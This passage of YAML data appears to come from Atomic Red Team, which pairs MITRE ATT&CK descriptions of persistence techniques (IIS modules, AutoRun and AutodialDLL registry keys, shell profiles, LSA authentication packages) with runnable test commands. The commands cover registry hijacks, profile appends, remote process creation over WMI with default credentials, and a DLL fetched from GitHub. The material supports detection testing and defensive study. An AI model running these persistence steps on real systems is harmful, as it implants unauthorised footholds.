2021. - url: https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/ description: Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018. source_name: Unit 42 RGDoor Jan 2018 modified: '2022-04-25T14:00:00.188Z' name: IIS Components description: |- Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013) Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012) Adversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Monitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to %windir%\system32\inetsrv\config\applicationhost.config could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021) Monitor execution and command-line arguments of AppCmd.exe, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021) x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Creation' - 'Command: Command Execution' - 'File: File Modification' x_mitre_permissions_required: - Administrator - SYSTEM spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1505.004 atomic_tests: - name: Install IIS Module using AppCmd.exe auto_generated_guid: 53adbdfa-8200-490c-871c-d3b1ab3324b2 description: | The following Atomic will utilize AppCmd.exe to install a new IIS Module. IIS must be installed. This atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/). A successful execution will install a module into IIS using AppCmd.exe. [Managing and installing Modules Reference](https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview#to-install-a-module-using-appcmdexe) [IIS Modules](https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/) supported_platforms: - windows input_arguments: module_name: description: The name of the IIS module type: string default: DefaultDocumentModule_Atomic dll_path: description: The path to the DLL to be loaded type: path default: "%windir%\\system32\\inetsrv\\defdoc.dll" dependency_executor_name: powershell dependencies: - description: 'IIS must be installed in order to add a module to IIS. ' prereq_command: "$service = get-service w3svc -ErrorAction SilentlyContinue\nif($service){ Write-Host \"IIS installed on $env:computername\" } else { Write-Host \"IIS is not installed on $env:computername\" } \n" get_prereq_command: 'Install IIS to continue. ' executor: command: "%windir%\\system32\\inetsrv\\appcmd.exe install module /name:#{module_name} /image:#{dll_path}\n" cleanup_command: "%windir%\\system32\\inetsrv\\appcmd.exe uninstall module #{module_name}\n" name: command_prompt - name: Install IIS Module using PowerShell Cmdlet New-WebGlobalModule auto_generated_guid: cc3381fb-4bd0-405c-a8e4-6cacfac3b06c description: | The following Atomic will utilize PowerShell Cmdlet New-WebGlobalModule to install a new IIS Module. IIS must be installed. This atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/). A successful execution will install a module into IIS using New-WebGlobalModule. [Managing IIS Modules with PowerShell](https://learn.microsoft.com/en-us/powershell/module/webadministration/set-webglobalmodule?view=windowsserver2022-ps) [IIS Modules](https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/) supported_platforms: - windows input_arguments: module_name: description: The name of the IIS module type: string default: DefaultDocumentModule_Atomic dll_path: description: The path to the DLL to be loaded type: path default: "%windir%\\system32\\inetsrv\\defdoc.dll" dependency_executor_name: powershell dependencies: - description: 'IIS must be installed in order to add a module to IIS. ' prereq_command: "$service = get-service w3svc -ErrorAction SilentlyContinue\nif($service){ Write-Host \"IIS installed on $env:computername\" } else { Write-Host \"IIS is not installed on $env:computername\" } \n" get_prereq_command: 'Install IIS to continue. ' executor: command: 'New-WebGlobalModule -Name #{module_name} -Image #{dll_path} ' cleanup_command: 'Remove-WebGlobalModule -Name #{module_name} ' name: powershell T1546: technique: modified: '2024-03-01T15:49:15.588Z' name: Event Triggered Execution description: "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_deprecated: false x_mitre_detection: "Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \n\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \n\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \n\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - SaaS - IaaS - Office 365 x_mitre_version: '1.3' x_mitre_data_sources: - 'Module: Module Load' - 'WMI: WMI Creation' - 'File: File Metadata' - 'File: File Creation' - 'File: File Modification' - 'Windows Registry: Windows Registry Key Modification' - 'Command: Command Execution' - 'Cloud Service: Cloud Service Modification' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db created: '2020-01-22T21:04:23.285Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546 external_id: T1546 - source_name: FireEye WMI 2015 description: Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf - source_name: Microsoft DART Case Report 001 description: Berk Veral. (2020, March 9). Real-life cybercrime stories from DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022. url: https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team - source_name: amnesia malware description: Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018. url: https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/ - source_name: Backdooring an AWS account description: Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved May 27, 2022. url: https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9 - source_name: Varonis Power Automate Data Exfiltration description: Eric Saraga. (2022, February 2). Using Power Automate for Covert Data Exfiltration in Microsoft 365. Retrieved May 27, 2022. url: https://www.varonis.com/blog/power-automate-data-exfiltration - source_name: Malware Persistence on OS X description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017. url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1546 atomic_tests: - name: Persistence with Custom AutodialDLL auto_generated_guid: aca9ae16-7425-4b6d-8c30-cad306fdbd5b description: "The DLL pointed to by the AutodialDLL registry key is loaded every time a process connects to the internet. Attackers can gain persistent code execution by setting this key to a DLL of their choice. \n\nThe sample dll provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping a web browser such as MS Edge or Chrome should result in the dll executing.\n[Blog](https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/)\n" supported_platforms: - windows dependencies: - description: 'AltWinSock2DLL DLL must exist on disk at specified at PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll ' prereq_command: 'if (Test-Path PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll) { exit 0} else { exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\T1546\bin\" -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546/bin/AltWinSock2DLL.dll" -OutFile "PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll" executor: command: 'Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll ' cleanup_command: Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value $env:windir\system32\rasadhlp.dll name: powershell elevation_required: true - name: HKLM - Persistence using CommandProcessor AutoRun key (With Elevation) auto_generated_guid: a574dafe-a903-4cce-9701-14040f4f3532 description: |- An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed. [reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433) supported_platforms: - windows input_arguments: command: description: Command to Execute type: string default: notepad.exe executor: command: New-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -Value "#{command}" -PropertyType "String" cleanup_command: Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -ErrorAction Ignore name: powershell elevation_required: true - name: HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation) auto_generated_guid: 36b8dbf9-59b1-4e9b-a3bb-36e80563ef01 description: |- An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed. [reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433) supported_platforms: - windows input_arguments: command: description: Command to Execute type: string default: notepad.exe executor: command: |- $path = "HKCU:\Software\Microsoft\Command Processor" if (!(Test-Path -path $path)){ New-Item -ItemType Key -Path $path } New-ItemProperty -Path $path -Name "AutoRun" -Value "#{command}" -PropertyType "String" cleanup_command: Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Command Processor" -Name "AutoRun" -ErrorAction Ignore name: powershell - name: WMI Invoke-CimMethod Start Process auto_generated_guid: adae83d3-0df6-45e7-b2c3-575f91584577 description: | The following Atomic will create a New-CimSession on a remote endpoint and start a process usnig Invoke-CimMethod. This is a novel way to perform lateral movement or to start a remote process. This does require WinRM to be enabled. The account performing the run will also need to be elevated. A successful execution will stdout that the process started. On the remote endpoint, wmiprvse.exe will spawn the given process. supported_platforms: - windows input_arguments: dest: description: destination computer name type: string default: localhost password: description: password for account type: string default: P@ssword1 username: description: account to use type: string default: Administrator process: description: process to spawn type: string default: calc.exe executor: name: powershell elevation_required: true command: "# Set the remote computer name and credentials\n $RemoteComputer = \"#{dest}\"\n $PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\n\n # Create a CIM session\n $CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential\n\n # Define the process you want to start\n $ProcessToStart = \"#{process}\"\n\n # Invoke the Create method on the Win32_Process class to start the process\n $Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}\n\n # Check the result\n if ($Result.ReturnValue -eq 0) {\n Write-Host \"Process started successfully with Process ID: $($Result.ProcessId)\"\n } else {\n \ Write-Host \"Failed to start the process. Error code: $($Result.ReturnValue)\"\n }\n\n # Clean up the CIM session\n Remove-CimSession -CimSession $CimSession \n" - name: Adding custom debugger for Windows Error Reporting auto_generated_guid: 17d1a3cc-3373-495a-857a-e5dd005fb302 description: | When applications hang, the Windows Error Reporting framework allows us to attach a debugger, if it is set up in the Registry. Adding executable of choice will let the executable to auto-execute when during any application crash due to functioning of WER framework supported_platforms: - windows executor: command: 'reg add "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f ' cleanup_command: 'reg delete "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /f ' name: command_prompt elevation_required: true T1546.004: technique: x_mitre_platforms: - Linux - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Robert Wilson - Tony Lambert, Red Canary object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2 type: attack-pattern created: '2020-01-24T14:13:45.936Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1546.004 url: https://attack.mitre.org/techniques/T1546/004 - source_name: intezer-kaiji-malware url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/ description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.' - source_name: bencane blog bashrc url: https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/ description: Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021. - source_name: anomali-rocke-tactics url: https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect description: Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020. - source_name: Linux manual bash invocation url: https://wiki.archlinux.org/index.php/Bash#Invocation description: ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021. - source_name: Tsunami url: https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/ description: Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020. - source_name: anomali-linux-rabbit url: https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat description: Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020. - source_name: Magento url: https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html description: Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020. - source_name: ScriptingOSX zsh url: https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/ description: 'Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.' - source_name: PersistentJXA_leopitt url: https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5 description: Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021. - source_name: code_persistence_zsh url: https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js description: Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021. - source_name: macOS MS office sandbox escape url: https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a description: Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021. - source_name: ESF_filemonitor url: https://objective-see.com/blog/blog_0x48.html description: Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020. modified: '2022-04-25T14:00:00.188Z' name: 'Event Triggered Execution: .bash_profile .bashrc and .shrc' description: "Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: "While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.\n" x_mitre_is_subtechnique: true x_mitre_version: '2.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Creation' - 'File: File Creation' - 'Command: Command Execution' - 'File: File Modification' x_mitre_permissions_required: - User - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1546.004 atomic_tests: - name: Add command to .bash_profile auto_generated_guid: 94500ae1-7e31-47e3-886b-c328da46872f description: 'Adds a command to the .bash_profile file of the current user ' supported_platforms: - macos - linux input_arguments: command_to_add: description: Command to add to the .bash_profile file type: string default: echo "Hello from Atomic Red Team T1546.004" > /tmp/T1546.004 executor: command: 'echo ''#{command_to_add}'' >> ~/.bash_profile ' cleanup_command: | head -n '-2' ~/.bash_profile > /tmp/T1546.004 mv /tmp/T1546.004 ~/.bash_profile name: sh - name: Add command to .bashrc auto_generated_guid: 0a898315-4cfa-4007-bafe-33a4646d115f description: 'Adds a command to the .bashrc file of the current user ' supported_platforms: - macos - linux input_arguments: command_to_add: description: Command to add to the .bashrc file type: string default: echo "Hello from Atomic Red Team T1546.004" > /tmp/T1546.004 executor: command: 'echo ''#{command_to_add}'' >> ~/.bashrc ' cleanup_command: | head -n '-2' ~/.bashrc > /tmp/T1546.004 mv /tmp/T1546.004 ~/.bashrc name: sh - name: Add command to .shrc auto_generated_guid: 41502021-591a-4649-8b6e-83c9192aff53 description: 'Adds a command to the .shrc file of the current user ' supported_platforms: - linux input_arguments: command_to_add: description: Command to add to the .shrc file type: string default: echo "Hello from Atomic Red Team T1546.004" > /tmp/T1546.004 executor: command: 'echo ''#{command_to_add}'' >> ~/.shrc ' cleanup_command: | head -n '-2' ~/.shrc > /tmp/T1546.004 mv /tmp/T1546.004 ~/.shrc name: sh - name: Append to the system shell profile auto_generated_guid: 694b3cc8-6a78-4d35-9e74-0123d009e94b description: 'An adversary may wish to establish persistence by executing malicious commands from the systems /etc/profile every time "any" user logs in. ' supported_platforms: - linux input_arguments: text_to_append: description: Text to append to the /etc/profile file type: string default: "# Hello from Atomic Red Team T1546.004" executor: elevation_required: true name: sh command: 'echo ''#{text_to_append}'' >> /etc/profile ' cleanup_command: 'sed -i "s/# Atomic Red Team was here! T1546.004//" /etc/profile ' - name: Append commands user shell profile auto_generated_guid: bbdb06bc-bab6-4f5b-8232-ba3fbed51d77 description: 'An adversary may wish to establish persistence by executing malicious commands from the users ~/.profile every time the "user" logs in. ' supported_platforms: - linux input_arguments: text_to_append: description: Text to append to the ~/.profile file type: string default: "# Atomic Red Team was here... T1546.004" executor: elevation_required: false name: sh command: 'echo ''#{text_to_append}'' >> ~/.profile ' cleanup_command: 'sed -i "s/# Atomic Red Team was here... T1546.004//" ~/.profile ' - name: System shell profile scripts auto_generated_guid: 8fe2ccfd-f079-4c03-b1a9-bd9b362b67d4 description: 'An adversary may wish to establish persistence by adding commands into any of the script files in the /etc/profile.d/ directory, which are executed every time "any" user logs in. ' supported_platforms: - linux input_arguments: text_to_append: description: Text to append to the /etc/profile.d/bash_completion.sh file type: string default: "# Atomic Red Team was here... T1546.004" executor: elevation_required: true name: sh command: 'echo ''#{text_to_append}'' >> /etc/profile.d/bash_completion.sh ' cleanup_command: 'sed -i "s/# Atomic Red Team was here... T1546.004//" /etc/profile.d/bash_completion.sh ' - name: Create/Append to .bash_logout auto_generated_guid: 37ad2f24-7c53-4a50-92da-427a4ad13f58 description: "The Bash shell runs ~/.bash_logout \"if it exists\" to run commands on user logout. An adversary may create or append to a .bash_logout to clear history, start processes etc. Note the ~/.bash_logout is only run if you explicitly exit or log out of an \"interactive login shell session\" i.e. via the console, SSH, /bin/bash -l or su -l . \n\nThis test creates the art user, logs in, creates a .bash_logout which will echo some text into the art.txt file on logout and logs out and the /home/art/art.txt is created.\n" supported_platforms: - linux executor: name: bash elevation_required: true command: | useradd --create-home --shell /bin/bash art su --login art echo 'echo "Atomic Red Team was here... T1546.004" >> $HOME/art.txt' >> $HOME/.bash_logout cleanup_command: 'userdel -fr art ' T1547.002: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec created: '2020-01-24T14:54:42.757Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1547.002 url: https://attack.mitre.org/techniques/T1547/002 - source_name: Graeber 2014 url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html description: Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017. - source_name: Microsoft Configure LSA url: https://technet.microsoft.com/en-us/library/dn408187.aspx description: Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015. - source_name: MSDN Authentication Packages url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017. x_mitre_deprecated: false revoked: false description: |- Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages) Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ with the key value of "Authentication Packages"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded. modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Authentication Package x_mitre_detection: 'Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Command: Command Execution' - 'Windows Registry: Windows Registry Key Modification' - 'Module: Module Load' x_mitre_permissions_required: - Administrator x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.002 atomic_tests: - name: Authentication Package auto_generated_guid: be2590e8-4ac3-47ac-b4b5-945820f2fbe9 description: | Establishes persistence using a custom authentication package for the Local Security Authority (LSA). After a reboot, Notepad.exe will be executed as child process of lsass.exe. Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.002/package [Related blog](https://pentestlab.blog/2019/10/21/persistence-security-support-provider/) supported_platforms: - windows executor: command: | Copy-Item "$PathToAtomicsFolder\T1547.002\bin\package.dll" C:\Windows\System32\ reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0\0package.dll" /f cleanup_command: | reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0" /f rm -force C:\windows\system32\package.dll name: powershell elevation_required: true T1546.015: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Event Triggered Execution: Component Object Model Hijacking' description: "Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) \ References to various COM objects are stored in the Registry. \n\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Elastic x_mitre_deprecated: false x_mitre_detection: "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. \n\nLikewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Process: Process Creation' - 'Module: 